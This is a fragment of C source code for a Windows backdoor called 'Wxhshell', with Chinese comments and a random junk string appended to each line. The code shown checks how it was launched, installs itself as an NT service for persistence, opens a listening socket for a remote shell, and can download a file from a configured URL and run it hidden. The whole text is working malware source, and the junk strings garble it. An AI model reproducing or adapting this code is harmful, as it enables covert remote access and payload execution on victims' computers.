=+H,}
PROCNTQSIP NtQueryInformationProcess; Dy{lgT 0k
:W$-b
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -4obX
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2` Ihrz6
ViU5l*n;
HANDLE hProcess; <:!:7
PROCESS_BASIC_INFORMATION pbi; PmtXD6p3(
Lc(eY{CY
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [{zfI`6
if(NULL == hInst ) return 0; M3eFG@,
bQdu= s[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rpj{!Ia
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N9~'\O$'7
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x#hSN|'"
[J55%N;#1
if (!NtQueryInformationProcess) return 0; /Eu|Jg=I
>uFFTik
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K1p. {
if(!hProcess) return 0; :mt<]Oy3
i"mQ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lkJe7 +s
&g]s@S|%
CloseHandle(hProcess); At&kW3(
,lVQ-qw5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FJBB@<>:
if(hProcess==NULL) return 0; csV3mzP
%zO>]f&
HMODULE hMod; {:=]J4]
char procName[255]; H;#C NB<e
unsigned long cbNeeded; /h@3R[k
5yjG\~
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w"L]?#
#X0Xc2}{f
CloseHandle(hProcess); _/YM@%d
u1>WG?/`
if(strstr(procName,"services")) return 1; // 以服务启动 b&'YW*W
#q5tG\gnM
return 0; // 注册表启动 ndw&F'.r
} >u]9(o7I
((M>To_l
// 主模块 2s}G6'xE]P
int StartWxhshell(LPSTR lpCmdLine) MjbgAH-
{ h)s&Nqg1B
SOCKET wsl; w%(D4ldp
BOOL val=TRUE; k7]4TIUD*
int port=0; <@c@`K
struct sockaddr_in door; g!Ui|]BI9
# hw;aQ
if(wscfg.ws_autoins) Install(); (Dn1Eov
0 c]]
port=atoi(lpCmdLine); %AA-G
5Ha(i [d
if(port<=0) port=wscfg.ws_port; V7D<'!
*;Za))
WSADATA data; uUe#+[bD
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ao@WTs9
_|#P~Ft
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; m= %KaRI
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +o35${
door.sin_family = AF_INET; !Z0S@]C
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )S}.QrG
door.sin_port = htons(port); 8t|?b
! vuun |
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6XnUs1O
closesocket(wsl); o\fPZ`p-m~
return 1; RFq=`/>dG
} ;@O8y\@
Ml/K~H
tN
if(listen(wsl,2) == INVALID_SOCKET) { r4 qs!(
closesocket(wsl); Z_>:p^id
return 1; =F_j})O5
} Ox@$ }
Wxhshell(wsl); !E,|EdIr
WSACleanup(); \\{78WDA
w}8=sw
return 0; l9n$cv^
09i77
} Vddod
XANJ A
// 以NT服务方式启动 3ouo4tf$H.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5C9
.h:c4y
{ rS+ >oP}
DWORD status = 0; olm'_{{
DWORD specificError = 0xfffffff; ZgmK~iJ
|)mUO:*
serviceStatus.dwServiceType = SERVICE_WIN32; XW+-E^d
serviceStatus.dwCurrentState = SERVICE_START_PENDING; X|L_}Q7
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fw|t`mUGu
serviceStatus.dwWin32ExitCode = 0; IDdu2HNu
serviceStatus.dwServiceSpecificExitCode = 0; [Scao $
serviceStatus.dwCheckPoint = 0; "2 D{X
serviceStatus.dwWaitHint = 0; h;mOfF
'-#gQxIpD
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *z]P|_:&G
if (hServiceStatusHandle==0) return; hl2|Ec
=@nW;PUZ
status = GetLastError(); G0Z$p6z
if (status!=NO_ERROR) s !II}'Je
{ M&e=LV
serviceStatus.dwCurrentState = SERVICE_STOPPED; 21] K7
serviceStatus.dwCheckPoint = 0; i%MR<M
serviceStatus.dwWaitHint = 0; DmZ_tuVI
serviceStatus.dwWin32ExitCode = status; h]4qJ
serviceStatus.dwServiceSpecificExitCode = specificError; 9l,8:%X_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .~a8\6t
return; `W7;-
} YVk
+zt~S
sosIu
serviceStatus.dwCurrentState = SERVICE_RUNNING; .!'rI7Kz'i
serviceStatus.dwCheckPoint = 0; ^c"\%!w"O
serviceStatus.dwWaitHint = 0; Psm9hP :m
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |T-Ytuy8
} AP9\]qZ(7
m"o=R\C
// 处理NT服务事件,比如:启动、停止 Mb97S]878I
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ifq|MZ\
{ ~se
;L
switch(fdwControl) 1yeD-M"w
{ Djf~8q V!
case SERVICE_CONTROL_STOP: "V,dH%&j
serviceStatus.dwWin32ExitCode = 0; @JOsG-VW~
serviceStatus.dwCurrentState = SERVICE_STOPPED; )}k"7"
serviceStatus.dwCheckPoint = 0; ObataUxQT
serviceStatus.dwWaitHint = 0; @?</8;%3W
{ 2]r5e;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); TLg 9`UA
} GT3}'`f B
return; L l,nt
case SERVICE_CONTROL_PAUSE: 6K >(n
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^plP1c:
break; $GVf;M2*
case SERVICE_CONTROL_CONTINUE:
@;[. #hK
serviceStatus.dwCurrentState = SERVICE_RUNNING;
\P*%u
break; WK.,q>#
case SERVICE_CONTROL_INTERROGATE: nVGOhYn
break; \_+Af`
}; 7j"B-k#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F^!mgU X
} 5!6}g<z&L
@s\}ER3
// 标准应用程序主函数 =4Jg6JKYg
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2O2d*Ld>
{ rNgAzH
~\zIb/ #
// 获取操作系统版本 _b
&Aa%
OsIsNt=GetOsVer(); ON"V`_dq+M
GetModuleFileName(NULL,ExeFile,MAX_PATH); fJi?~[5<
W61:$y}8
// 从命令行安装 (e3?--~b6
if(strpbrk(lpCmdLine,"iI")) Install(); #QW%
;^
v^ 1x}
// 下载执行文件 {Hw$`wL
if(wscfg.ws_downexe) { 0JhUncx
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /!y3ZzL
WinExec(wscfg.ws_filenam,SW_HIDE); Fd._D"
} {[+Q\<